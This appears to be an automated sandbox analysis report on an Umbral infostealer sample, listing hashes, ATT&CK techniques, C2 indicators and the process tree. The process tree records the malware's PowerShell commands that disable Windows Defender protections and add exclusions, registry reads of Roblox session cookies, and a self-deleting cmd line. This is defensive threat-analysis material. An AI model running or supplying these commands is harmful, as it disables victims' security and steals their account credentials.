umbral | 8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 06:25

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General

Target

8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
Size

231KB
MD5

729cf3dc131a564c3384ec6a3cf387ce
SHA1

3401e42954a2c5de84d2c32ab97e69db54144bd1
SHA256

8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27
SHA512

9bdf9ac4ace3dbef33adaff6db5e5a157f1f7967613c88b26e51e5c7032b20018007bbc6726812482e2dcf8c8ef8f0a62eb779efe4cf0e893f215faab70bf351
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4+Qz/jpaC93op7mGz2tb8e1moJboi:joZtL+EP8+Qz/jpaC93op7mGz6zbR

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1776-1-0x00000000001D0000-0x0000000000210000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe
2944	powershell.exe
2904	powershell.exe
2588	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe

Deletes itself 1 IoCs

pid	Process
1548	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1548	cmd.exe
2940	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2688	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2940	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
2800	powershell.exe
2904	powershell.exe
2588	powershell.exe
2344	powershell.exe
2944	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
Token: SeIncreaseQuotaPrivilege	2292	wmic.exe
Token: SeSecurityPrivilege	2292	wmic.exe
Token: SeTakeOwnershipPrivilege	2292	wmic.exe
Token: SeLoadDriverPrivilege	2292	wmic.exe
Token: SeSystemProfilePrivilege	2292	wmic.exe
Token: SeSystemtimePrivilege	2292	wmic.exe
Token: SeProfSingleProcessPrivilege	2292	wmic.exe
Token: SeIncBasePriorityPrivilege	2292	wmic.exe
Token: SeCreatePagefilePrivilege	2292	wmic.exe
Token: SeBackupPrivilege	2292	wmic.exe
Token: SeRestorePrivilege	2292	wmic.exe
Token: SeShutdownPrivilege	2292	wmic.exe
Token: SeDebugPrivilege	2292	wmic.exe
Token: SeSystemEnvironmentPrivilege	2292	wmic.exe
Token: SeRemoteShutdownPrivilege	2292	wmic.exe
Token: SeUndockPrivilege	2292	wmic.exe
Token: SeManageVolumePrivilege	2292	wmic.exe
Token: 33	2292	wmic.exe
Token: 34	2292	wmic.exe
Token: 35	2292	wmic.exe
Token: SeIncreaseQuotaPrivilege	2292	wmic.exe
Token: SeSecurityPrivilege	2292	wmic.exe
Token: SeTakeOwnershipPrivilege	2292	wmic.exe
Token: SeLoadDriverPrivilege	2292	wmic.exe
Token: SeSystemProfilePrivilege	2292	wmic.exe
Token: SeSystemtimePrivilege	2292	wmic.exe
Token: SeProfSingleProcessPrivilege	2292	wmic.exe
Token: SeIncBasePriorityPrivilege	2292	wmic.exe
Token: SeCreatePagefilePrivilege	2292	wmic.exe
Token: SeBackupPrivilege	2292	wmic.exe
Token: SeRestorePrivilege	2292	wmic.exe
Token: SeShutdownPrivilege	2292	wmic.exe
Token: SeDebugPrivilege	2292	wmic.exe
Token: SeSystemEnvironmentPrivilege	2292	wmic.exe
Token: SeRemoteShutdownPrivilege	2292	wmic.exe
Token: SeUndockPrivilege	2292	wmic.exe
Token: SeManageVolumePrivilege	2292	wmic.exe
Token: 33	2292	wmic.exe
Token: 34	2292	wmic.exe
Token: 35	2292	wmic.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1948	wmic.exe
Token: SeSecurityPrivilege	1948	wmic.exe
Token: SeTakeOwnershipPrivilege	1948	wmic.exe
Token: SeLoadDriverPrivilege	1948	wmic.exe
Token: SeSystemProfilePrivilege	1948	wmic.exe
Token: SeSystemtimePrivilege	1948	wmic.exe
Token: SeProfSingleProcessPrivilege	1948	wmic.exe
Token: SeIncBasePriorityPrivilege	1948	wmic.exe
Token: SeCreatePagefilePrivilege	1948	wmic.exe
Token: SeBackupPrivilege	1948	wmic.exe
Token: SeRestorePrivilege	1948	wmic.exe
Token: SeShutdownPrivilege	1948	wmic.exe
Token: SeDebugPrivilege	1948	wmic.exe
Token: SeSystemEnvironmentPrivilege	1948	wmic.exe
Token: SeRemoteShutdownPrivilege	1948	wmic.exe
Token: SeUndockPrivilege	1948	wmic.exe
Token: SeManageVolumePrivilege	1948	wmic.exe
Token: 33	1948	wmic.exe
Token: 34	1948	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 2292	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	30
PID 1776 wrote to memory of 2292	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	30
PID 1776 wrote to memory of 2292	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	30
PID 1776 wrote to memory of 2740	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	33
PID 1776 wrote to memory of 2740	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	33
PID 1776 wrote to memory of 2740	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	33
PID 1776 wrote to memory of 2800	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	35
PID 1776 wrote to memory of 2800	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	35
PID 1776 wrote to memory of 2800	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	35
PID 1776 wrote to memory of 2904	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	37
PID 1776 wrote to memory of 2904	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	37
PID 1776 wrote to memory of 2904	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	37
PID 1776 wrote to memory of 2588	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	39
PID 1776 wrote to memory of 2588	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	39
PID 1776 wrote to memory of 2588	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	39
PID 1776 wrote to memory of 2344	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	41
PID 1776 wrote to memory of 2344	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	41
PID 1776 wrote to memory of 2344	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	41
PID 1776 wrote to memory of 1948	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	44
PID 1776 wrote to memory of 1948	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	44
PID 1776 wrote to memory of 1948	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	44
PID 1776 wrote to memory of 1200	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	46
PID 1776 wrote to memory of 1200	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	46
PID 1776 wrote to memory of 1200	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	46
PID 1776 wrote to memory of 1704	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	48
PID 1776 wrote to memory of 1704	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	48
PID 1776 wrote to memory of 1704	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	48
PID 1776 wrote to memory of 2944	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	50
PID 1776 wrote to memory of 2944	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	50
PID 1776 wrote to memory of 2944	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	50
PID 1776 wrote to memory of 2688	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	52
PID 1776 wrote to memory of 2688	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	52
PID 1776 wrote to memory of 2688	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	52
PID 1776 wrote to memory of 1548	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	54
PID 1776 wrote to memory of 1548	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	54
PID 1776 wrote to memory of 1548	1776	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	54
PID 1548 wrote to memory of 2940	1548	cmd.exe	56
PID 1548 wrote to memory of 2940	1548	cmd.exe	56
PID 1548 wrote to memory of 2940	1548	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
"C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe"
  2⤵
  - Views/modifies file attributes
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1200
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2688
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
057a1f734da6b2dc65f93a887af1ce63

SHA1
db15f8bb6e60b38112bb5a853f48385cdd2c0ead

SHA256
0fac515c02471287cf24f119f0f3709f2986bfb1cd73277d8b97d65cdfd556c9

SHA512
d293f233ee7331380da9739d892352a673ef052eae5b17d7fdab458453ba6e95bf6055f9a1ebcff286dff69a66495989c6b8d9326ae6d7e104a9f420ac203351

Download Submit
memory/1776-0-0x000007FEF58E3000-0x000007FEF58E4000-memory.dmp

Filesize
4KB

Download
memory/1776-1-0x00000000001D0000-0x0000000000210000-memory.dmp

Filesize
256KB

Download
memory/1776-2-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp

Filesize
9.9MB

Download
memory/1776-50-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp

Filesize
9.9MB

Download
memory/2800-7-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-8-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/2904-14-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2904-15-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2944-45-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download